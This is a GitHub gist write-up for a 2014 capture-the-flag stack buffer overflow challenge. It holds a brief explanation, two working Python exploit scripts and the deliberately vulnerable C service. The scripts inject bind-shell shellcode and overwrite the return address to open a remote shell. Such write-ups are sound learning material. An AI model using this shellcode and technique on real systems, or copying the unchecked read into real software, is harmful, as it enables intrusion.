Last active
August 29, 2015 14:10
-
-
Save christianpanton/55657cb0ca632f6995d0 to your computer and use it in GitHub Desktop.
Prosa CTF 2014 "bufferoverflow.c" writeup
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
The service asks for two inputs. Both are placed on | |
the stack. The second buffer can be overflowed (accepts | |
512 bytes, buffer size is 128), and you can replace | |
the return value on the stack with the beginning for the | |
first buffer. | |
The service is nice to tell us where the first buffer | |
is located. So we overwrite the return value at 128 + 12 | |
on the stack, with the location which the service told | |
the first buffer was located. So we can fill that stack | |
buffer with some shellcode, as it will be executed when | |
the function returns. | |
I found mine at: | |
http://shell-storm.org/shellcode/files/shellcode-252.php | |
Thats all folks. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import binascii | |
# for testing | |
# run vuln service as ./bufferoverflow 1337 debug | |
# shellcode | |
# bind shell on port 64713 | |
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89\xe1\xcd\x80\x52\x66\x68\xfc\xc9\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect(('localhost', 1337)) # replace with real host and port | |
# get welcome message and fetch offset | |
welcome = s.recv(1024) | |
offset = welcome.split("0x")[1][:8] | |
print "[+] stack buffer at 0x" + offset | |
s.sendall(shellcode) | |
# recieve second message | |
s.recv(1024) | |
fillbuff = "A"*128 | |
padding = "BBBBBBBBBBBB" # found in GDB | |
addr = binascii.unhexlify(offset)[::-1] # flip bytes due to endianess | |
print "[*] sending exploit" | |
s.sendall(fillbuff + padding + addr) | |
print "[+] your shell is at 64713, sir" | |
s.close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
TARGET_HOST = "localhost" | |
TARGET_PORT = 1337 | |
SHELL_PORT = 4444 | |
accept = shellcraft.i386.linux.acceptloop_ipv4(SHELL_PORT) # bind to port | |
dupsh = shellcraft.i386.linux.dupsh("ebp") # spawn a shell | |
shellcode = asm(accept + "\n" + dupsh, arch='i386', os='linux') | |
sock = remote(TARGET_HOST, TARGET_PORT) | |
offset = sock.recv().split("0x")[1][:8] | |
log.success("Found memory offset at 0x%s" % offset) | |
sock.sendline(shellcode) | |
sock.recv() | |
fill_buffer = "A"*128 | |
padding = "BBBBBBBBBBBB" # found in GDB | |
addr = offset.decode('hex')[::-1] # flip for endianess | |
sock.sendline(fill_buffer + padding + addr) | |
log.success("Here is teh shell \o/") | |
shell = remote(TARGET_HOST, SHELL_PORT) | |
shell.interactive() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include <signal.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <arpa/inet.h> | |
char buffer1[256]; | |
static int create_server(unsigned short port) { | |
int server; | |
int flags; | |
struct sockaddr_in addr; | |
server = socket(AF_INET, SOCK_STREAM, 0); | |
if (server < 0) { | |
return -1; | |
} | |
flags = 1; | |
if (setsockopt(server, SOL_SOCKET, SO_REUSEADDR, &flags, sizeof(flags)) < 0) { | |
close(server); | |
return -1; | |
} | |
addr.sin_family = AF_INET; | |
addr.sin_port = htons(port); | |
addr.sin_addr.s_addr = htonl(INADDR_ANY); | |
if (bind(server, (struct sockaddr*)&addr, sizeof(addr)) < 0) { | |
close(server); | |
return -1; | |
} | |
if (listen(server, 10) < 0) { | |
close(server); | |
return -1; | |
} | |
return server; | |
} | |
void child_died(int sig) { | |
wait(&sig); | |
} | |
void handle_client(int client) { | |
char buffer2[128]; | |
dprintf(client, "Hello and welcome to this small buffer overflow challenge.\nNow give me a maximum of %d bytes which I'll place at 0x%08lx.\n", sizeof(buffer1), (long unsigned int)buffer1); | |
if (read(client, buffer1, sizeof(buffer1)) > 0) { | |
dprintf(client, "Thanks a lot, now I'll read a maximum of %d bytes from you into a %d byte stack buffer.\n", sizeof(buffer2) * 4, sizeof(buffer2)); | |
if (read(client, buffer2, sizeof(buffer2) * 4) > 0) { | |
dprintf(client, "There, all should be set now. Goodbye.\n"); | |
} | |
} | |
} | |
int main(int argc, char ** argv) { | |
int server, client, debug = (argc > 2 && strcmp(argv[2], "debug") == 0); | |
if ((server = create_server(argc > 1 ? atoi(argv[1]) : 9988)) > 0) { | |
if (!debug) { | |
signal(SIGCHLD, child_died); | |
daemon(0, 0); | |
} | |
while (1) { | |
if ((client = accept(server, NULL, NULL)) < 0) { | |
exit(1); | |
} | |
if (!debug && fork()) { | |
close(client); | |
} else { | |
close(server); | |
handle_client(client); | |
close(client); | |
return 0; | |
} | |
} | |
} else { | |
fprintf(stderr, "Could not create server socket.\n"); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment